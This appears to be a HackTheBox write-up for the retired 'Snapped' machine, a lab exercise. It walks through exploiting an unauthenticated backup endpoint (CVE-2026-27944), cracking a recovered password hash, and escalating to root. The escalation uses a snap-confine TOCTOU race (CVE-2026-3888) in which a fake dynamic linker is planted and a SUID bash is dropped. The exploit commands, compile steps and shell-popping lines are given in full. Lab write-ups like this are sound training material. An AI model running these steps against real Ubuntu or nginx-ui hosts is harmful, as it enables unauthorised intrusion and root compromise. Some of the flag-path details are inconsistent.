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[ writeup · case #010 ]

Snapped

CVE-2026-27944 against admin.snapped.htb pulls and decrypts an application backup, recovering credentials for a foothold. Local privilege escalation uses the snap-confine / systemd-tmpfiles TOCTOU race (CVE-2026-3888) to drop a SUID-root bash.

date
2026-03-10
read
4 min
tags
#htb #retired
platform
htb
os
linux
difficulty
hard

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a snapped.htb -- -A
text
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 [REDACTED:IP][REDACTED:IP]:79 (ECDSA)
| ecdsa-sha2-nistp256 [REDACTED:KEY]
|   256 [REDACTED:IP][REDACTED:IP]:63 (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Snapped \xE2\x80\x94 Infrastructure. Orchestration. Control.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/27%OT=22%CT=%CU=43657%PV=Y%DS=2%DC=T%G=N%TM=69C6D38C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M542ST11NW9%O2=M542ST11NW9%O3=M542NNT11NW9%O4=M542ST11NW9%O5=M542ST11
OS:NW9%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)

Key findings:

  • Port xx — service — why it's interesting

Web / Service Enumeration

Subdomain Enumeration

  • fuzzing would tell you that there's an admin subdomain
bash
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://snapped.htb \
  -H "Host: FUZZ.snapped.htb" \
  -k -fc 302 -fs 20199
  
  
  admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 111ms]
bash
❯ dirsearch -u "http://admin.snapped.htb/" -r

[15:51:49] 403 -   34B  - /api/config                                       
[15:51:50] 301 -    0B  - /assets  ->  assets/                              
Added to the queue: assets/
[15:51:50] 404 -   13KB - /assets/                                          
[15:52:00] 200 -   66KB - /favicon.ico                                      
[15:52:03] 301 -    0B  - /index.html  ->  ./                               
[15:52:08] 200 -    1KB - /manifest.json                                    
[15:52:17] 200 -   26B  - /robots.txt    

Foothold

Summary

  • The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

exploitation

  • using the official website in which they provided a PoC
  • first we need to install some dependencies for the script
bash
❯ python3 -m venv venv
❯ source venv/bin/activate
❯ pip install pycryptodome
  • then we run the script copied from the official github commit
bash
❯ python3 CVE-2026-27944.py  --target http://admin.snapped.htb --out backup.bin --decrypt
  • which leaves us with
bash
❯ ls
hash_info.txt            nginx                nginx-ui                nginx-ui.zip
hash_info.txt.decrypted  nginx_decrypted.zip  nginx-ui_decrypted.zip  nginx.zip
  • following github commit screenshot 3 (opens the full-size image)
  • we can see there's a database.db which can be accessed by sqlite3
  • in the users table we can find 2 users jonathan (which is likely our target) and admin
text
jonathan:[REDACTED:HASH]
admin:[REDACTED:HASH]
  • using john the ripper we can attack this hash
bash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • and the password was
bash
jonathan:linkinpark
  • this gave password gives access to the ngix ui as well as the ssh session

User Flag

bash
cat /home/light/user.txt

Privilege Escalation

Running find / -perm -4000 2>/dev/null surfaces the usual suspects, but one stands out — snap-confine is SUID root and the snapd version is unpatched. The machine runs Ubuntu 24.04 with a vulnerable snapd build, which means CVE-2026-3888 is in play.

The vulnerability is a TOCTOU race condition between snap-confine and systemd-tmpfiles. Checking /usr/lib/tmpfiles.d/tmp.conf reveals the box wipes /tmp every 4 minutes — much faster than the default 30 days on stock Ubuntu. That cleanup is the exploit's trigger: once systemd-tmpfiles deletes /tmp/.snap, there's a window to recreate it with a poisoned directory tree before snap-confine initializes the next sandbox.

The attack chain works like this: snap-confine validates the .snap directory structure, but before it reaches the bind-mount step, the exploit uses rename() to atomically swap the legitimate .snap with a malicious one. The malicious copy has librootshell.so planted in place of ld-linux-x86-64.so.2. Since snap-confine doesn't re-validate after the swap, it bind-mounts the attacker-controlled loader into the namespace as root. When snap-confine then executes inside that namespace, it loads our payload instead of the real dynamic linker.

The payload itself is pure assembly — no libc, no dependencies — because it is the dynamic linker at this point. It calls setreuid(0,0), setregid(0,0), then execve("/tmp/sh"). The /tmp/sh script uses a statically linked busybox to copy /bin/bash to /var/snap/firefox/common/bash and set it SUID root. That path is reachable from the host even after the namespace exits.

I compile both binaries on Kali and upload them:

bash
git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
cd CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
scp exploit librootshell.so [REDACTED:EMAIL]:/tmp/

Then run the exploit and wait through Phase 2 for the cleanup cycle:

bash
cd /tmp && ./exploit librootshell.so

After about 4-5 minutes and 4 tries (yes 4 tries) the exploit completes all 7 phases, dropping a SUID bash at /var/snap/firefox/common/bash:

bash
ls -la /var/snap/firefox/common/bash
# -rwsr-xr-x 1 root jonathan 1396520 ... bash

Popping root:

bash
/var/snap/firefox/common/bash -p

Root Flag

bash
cat /home/light

Key Takeaways

  • CVE-2026-3888 abuses a TOCTOU race between snap-confine and systemd-tmpfiles — two trusted system components whose interaction creates an unintended privilege escalation path
  • The 4-minute /tmp cleanup on Snapped is deliberately accelerated; on real Ubuntu 24.04 the window is 30 days, making this a realistic long-game persistence attack
  • Replacing ld-linux-x86-64.so.2 with a payload is a powerful technique — the dynamic linker runs before anything else, so it inherits all SUID privileges with no library constraints

Resources